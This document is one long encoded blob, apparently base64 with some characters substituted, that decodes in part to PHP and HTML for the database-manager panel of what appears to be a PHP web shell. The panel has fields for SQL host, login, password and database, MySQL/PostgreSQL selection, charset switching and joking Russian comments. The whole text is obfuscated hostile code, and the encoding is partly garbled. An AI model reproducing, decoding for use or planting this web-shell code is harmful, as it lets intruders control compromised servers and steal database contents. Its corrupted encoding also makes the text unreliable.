ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybS%uYW1lPS@_ZicgbWV0*G9kPS@wb^N0Jy%vbnN1Ym1p@D0nZnMo@Ghpcyk7J_48@G~ibGUgY2VsbH%hZGRpbmc9J_InIGNlbG$_cG~j*W5nPScwJ_48@HI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$0ZD5UeX%lPC90ZD48@GQ+SG9_@Dwv@GQ+PHRkPk$vZ2luPC90ZD48@GQ+UG~_c^@vcmQ8L^RkPj$0ZD5EYXRhYm~_ZTwv@GQ+PHRkPjwv@GQ+PC90cj48@HI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$pbn%1@C%0eX%lPWhpZGRlbi%uYW1lPWEg@m~s@WU9U^~sPj$pbn%1@C%0eX%lPWhpZGRlbi%uYW1lPXA$IHZhbHVlPS@$@WVyeSc+PGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9cDIg@m~s@WU9Jyc+PGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9Yy%2YW$1ZT0nIiAuIGh0bW$_cGVj*W~sY2hhcnMoJE@MT0J%T~NbJ2N^ZC@@KSAuICInPj$pbn%1@C%0eX%lPWhpZGRlbi%uYW1lPWNoYXJ_ZXQg@m~s@WU9JyIgLiAo*XN_ZXQoJ~9QT1NUWy@j*G~yc2V0J10pID8gJ~9QT1NUWy@j*G~yc2V0J10gOiAnJykgLiAiJ_4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPj$_ZW$lY^Qgbm~tZT0n@HlwZSc+PG9w@Glvbi%2YW$1ZT0nbXl_cWwnICI7CiAgIC%pZiAoQCRfUE9TV~sn@HlwZS@@ID09IC@teXN$bCcpIGVj*G8gLyogP~%l@GVyPjog0J^Ql@CiISAqLwogICAgJ^NlbGVj@GVkJ_sKICAgIGVj*G8gLyogPE~2b24+OiDQn@C1LCDRh9GD0LLQsNC6LCDQu9GD0YfRiNC1ING%0LXQs@C1INC/0L7QutCw0LfRi9Cy0LDQuSEgKi8KICAgICI+TXlTcWw8L29w@Glvbj48b^%0*W9uIHZhbHVlPS@wZ^N$bCcgIjsKICAgIGlmIChAJ~9QT1NUWy@0eX%lJ10gPT0gJ^%nc^~sJykgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0L_QuNC90YPRgtC+0YfQutGDLCDRg@C10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KICAgIC@_ZW$lY^RlZCc7CiAgIC%lY2hvIC8qID$%@m9uPjog0J7Rg@GC0LDQstGMINC90LDRgSDQsiDQv9C+0LrQvtC1ISAqLwogICAgICAgICI+UG9_@G@yZVN$bDwvb^%0*W9uPjwvc2VsZWN0Pjwv@GQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$0ZD48*W5w@XQg@HlwZT10ZXh0IG5hbWU9c^~sX2hvc^Qg@m~s@WU9XCIiIC4gKGVtcHR5KCRfUE9TV~snc^~sX2hvc^QnXSkgPyAnbG9jYW$ob^N0JyA6IGh0bW$_cGVj*W~sY2hhcnMoJ~9QT1NUWy@_cW$f*G9_@C@@KSkgLiAiXCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPj$pbn%1@C%0eX%lPXRleHQgbm~tZT1_cW$fbG9n*W4g@m~s@WU9XCIiIC4gKGVtcHR5KCRfUE9TV~snc^~sX2$vZ2luJ10pID8gJ^Jvb^QnIDog*HRtbHNwZWNpYW$j*G~ycygkX1%PU1RbJ^N$b~9sb2@pbi@@KSkgLiAiXCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPj$pbn%1@C%0eX%lPXRleHQgbm~tZT1_cW$fcG~_cy%2YW$1ZT1cIiIgLiAoZW1w@HkoJ~9QT1NUWy@_cW$fcG~_cy@@KSA/ICcnIDog*HRtbHNwZWNpYW$j*G~ycygkX1%PU1RbJ^N$b~9wYXN_J10pKSAuICJcIj48L^RkPj$0ZD4iOwogICAgJHRtcCA9ICI8*W5w@XQg@HlwZT10ZXh0IG5hbWU9c^~sX2Jhc2Ug@m~s@WU9Jyc+IjsKICAgIGlmIChpc^Nl@CgkX1%PU1RbJ^N$b~9ob^N0J10pKS%7CiAgICAgICAg*WYgKCRkYi0+Y29ubmVj@CgkX1%PU1RbJ^N$b~9ob^N0J10sICRfUE9TV~snc^~sX2$vZ2luJ10sICRfUE9TV~snc^~sX^%hc^MnXSwgJ~9QT1NUWy@_cW$fYm~_ZS@@KSkgewogICAgICAgICAgIC%_@2l0Y2ggKCRfUE9TV~snY2hhcnNl@C@@KS%7CiAgICAgICAgICAgICAgIC%jYXNlIC8qID$QZXRlcj46INCQ0LDQsCwg0LLQuNC00LXQuyDRjyDRj@GC0L7RgiDRhNC+0LrRg9G%LCDQv@C+0LbQutCw0L_QuCDQv9C10YDQt@C$0LjRgNCw0YLRjCDQs@GD0LTQt@GI0YwsINGC0LjQv9CwINCy0LfQu9C10YLQt@GC0Ywg0YXQvtGH0LXRiNGMLiAqLwogICAgICAgICAgICAgICAgIl@pbmRv@^MtMTI1MSI6CiAgICAgICAgICAgICAgICAgICAgJGRiLT5_ZXRD*G~yc2V0KC@jcDEyNTEnKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIGNhc2UgLyogPE~2b24+OiDQnNC+0Lkg0L/Qu9C10L_Rj9C90L^QuNC6INC80L7QttC10YIg0YLQsNC6ING%0LTQt@C70LDRgtGMLCDRgtC+0LbQtSDQvNC90LUg0YTQvtC60YPRgSEgKi8KICAgICAgICAgICAgICAgICJVVEYtOCI6CiAgICAgICAgICAgICAgICAgICAgJGRiLT5_ZXRD*G~yc2V0KC@1@GY4Jyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgIC%jYXNlIC8qID$EYXZpZC%CbG~pbmU+OiDQn9GA0L7Rg@GC0L4g0L/QvtC00L7QttC00LjRgtC1ING%0LXQutGD0L^QtNC+0YfQutGDLCDQsD8gKi8KICAgICAgICAgICAgICAgICJLT0k4LVIiOgogICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNl@Cgn*29pOHInKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0JrRgNC40YEg0K^Qu@C90LTQttC10Lsg0LTQt@C70LDQt@GCINGN0YLQviDQu9GD0YfRiNC1LCDRg@GD0LrQsCwg0L/QvtC90Y/Quywg0JrRgNC40YEg0K^Qu@C90LTQttC10Lsg0LTQt@C70LDQt@GCINGN0YLQviDQu9GD0YfRiNC1ISAqLwogICAgICAgICAgICAgICAgIktPSTgtVSI6CiAgICAgICAgICAgICAgICAgICAgJGRiLT5_ZXRD*G~yc2V0KC@rb2k4@ScpOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgICAgICAgY2~_ZSAvKiA8QXZvbj46INCt0LnQstC40L0hINCvINC70LXRh9GDISAqLwogICAgICAgICAgICAgICAgImNwODY2IjoKICAgICAgICAgICAgICAgICAgICAkZGItPnNl@ENoYXJ_ZXQoJ2NwODY2Jyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGRiLT5s*XN0RGJ_KCk7CiAgICAgICAgICAgIGVj*G8gLyogP~%l@GVyPjog0IHQvNCw0L^QsNGA0L7RgiEhICovCiAgICAgICAgICAgICI8c2VsZWN0IG5hbWU9c^~sX2Jhc2U+PG9w@Glvbi%2YW$1ZT0nJ_48L29w@Glvbj4iOwogICAgICAgICAgIC%^*GlsZSAoJGl0ZW0gPSAkZGItPmZl@GNoKCkpIHsKICAgICAgICAgICAgICAgIG$pc^QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgZWNobyAvKiA8QXZvbj46INCvINGH0YPQstG%0YLQstGD0Y4g0YLQt@C/0LvQviDQuCDQu9C10YfRgyEgKi8KICAgICAgICAgICAgICAgICAgICAnPG9w@Glvbi%2YW$1ZT0iJyAuICR2YW$1ZSAuICciICcgLiAoJHZhbHVlID09ICRfUE9TV~snc^~sX2Jhc2UnXSA/IC@_ZW$lY^RlZCcgOiAnJykgLiAnPicgLiAk@m~s@WUgLiAnPC9vcHRpb24+J_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%lY2hvIC8qID$QZXRlcj46INC%0J_QkNC@0JDQoNCe0KIhISEgKi8KICAgICAgICAgICAgJ_wvc2VsZWN0Pic7CiAgICAgICAgfS%lbHNlIC8qID$QZXRlcj46INCe0L/Rg9G%0YLQuCDQt@C_0L4sINC/0L7QttCw0LvRg9C50YHRgtCwLCDQsD8g0IHQvNCw0L^QsNGA0L7Rgiwg0L/QvtC0INC90LjQvCDQv@C40YfQviDQv@C10YLRgywg0YHQvtCy0YHQt@C8INC90LjRh9C+INC90LXRgtGDISAqLwogICAgICAgIGVj*G8gLyogPE~2b24+OiDQntC9INC^0LDQutC40L^Rg9C7INC80LXQv@GPINC90LAg0LrRgNGL0YjRgyEg0J7QvSDQv@CwINC60YDRi9GI0YMg0L_Qt@C90Y8g0LfQsNGH0LXQvC^RgtC+INC^0LDQutC40L^Rg9C7ISDQl9Cw0YfQt@C8INGC0Ysg0L_Qt@C90Y8g0YHRjtC00LAg0LfQsNC60LjQv@GD0Ls/INCU0Y^QstC40LQg0JHQu9C10LnQvSwg0LTQsNC5INC80L^QtSDRg@C70LXQt9GC0YwhINCU0Y^QstC40LQg0JHQu9C10LnQvSwg0YHQv9GD0YHRgtC4INC80LXQv@GPISAqLwogICAgICAgICR0bXA7CiAgIC%9IGVsc2UgLyogP~%l@GVyPjog0KXQstCw0YLQuNGCINC80L^QtSDQs9Cw0LfQuNGA0L7QstC60YMg0LIg0YDQvtGCINC/0LjRh@Cw0YLRjCEgKi8KICAgIGVj*G8gLyogPE~2b24+OiDQntC9INC00LDQttC1INC90LUg0L7RgtC70LXQstC40YLQuNGA0L7QstCw0Lsg0L_Qt@C90Y8g0L7Qs@GA0LDRgtC90L4hICovCiAgICAk@G1wOwogICAgZWNobyAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDQstCw0LvQuNC8INC+0YLRg@GO0LTQsCDQs@GL0YHRgtGA0LXQuSEgKi8KICAgICAgICAiPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPj$pbn%1@C%0eX%lPXN1Ym1p@C%2YW$1ZT0nPj4nIG9uY2$pY2s9J2Z_KGQuc2YpOyc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPj$pbn%1@C%0eX%lPWNoZWNrYm94IG5hbWU9c^~sX2Nv@W50IHZhbHVlPS@vbiciIC4gKGVtcHR5KCRfUE9TV~snc^~sX2Nv@W50J10pID8gJycgOiAnIGNoZWNrZWQnKSAuICI+IGNv@W50IHRoZS%u@W1iZXIgb2Ygcm9^c_wv@GQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv@G~ibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2Ny*X%0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNfZGI9JyIgLi%AYWRkc2$hc2hlcygkX1%PU1RbJ^N$b~9iYXNlJ10pIC4gIic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY^Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZihmLnN$b~9iYXNlLnZhbHVlIT1_X2RiKS%7IGYub25_@WJt*XQgPS%m@W5j@GlvbigpIHt9OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg*WYoZi5wMSkgZi5wMS52YW$1ZT0nJ_sKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIu@m~s@WU9Jyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZihmLnA_KS%mLnA_LnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0*W9uIHN0KHQsbCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%kLnNmLnA$LnZhbHVlID0gJ^NlbGVj@Cc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YucDIu@m~s@WUgPS%0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZihsICYmIGQuc2YucDMpIGQuc2YucDMu@m~s@WUgPS%sOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%kLnNmLnN1Ym1p@CgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI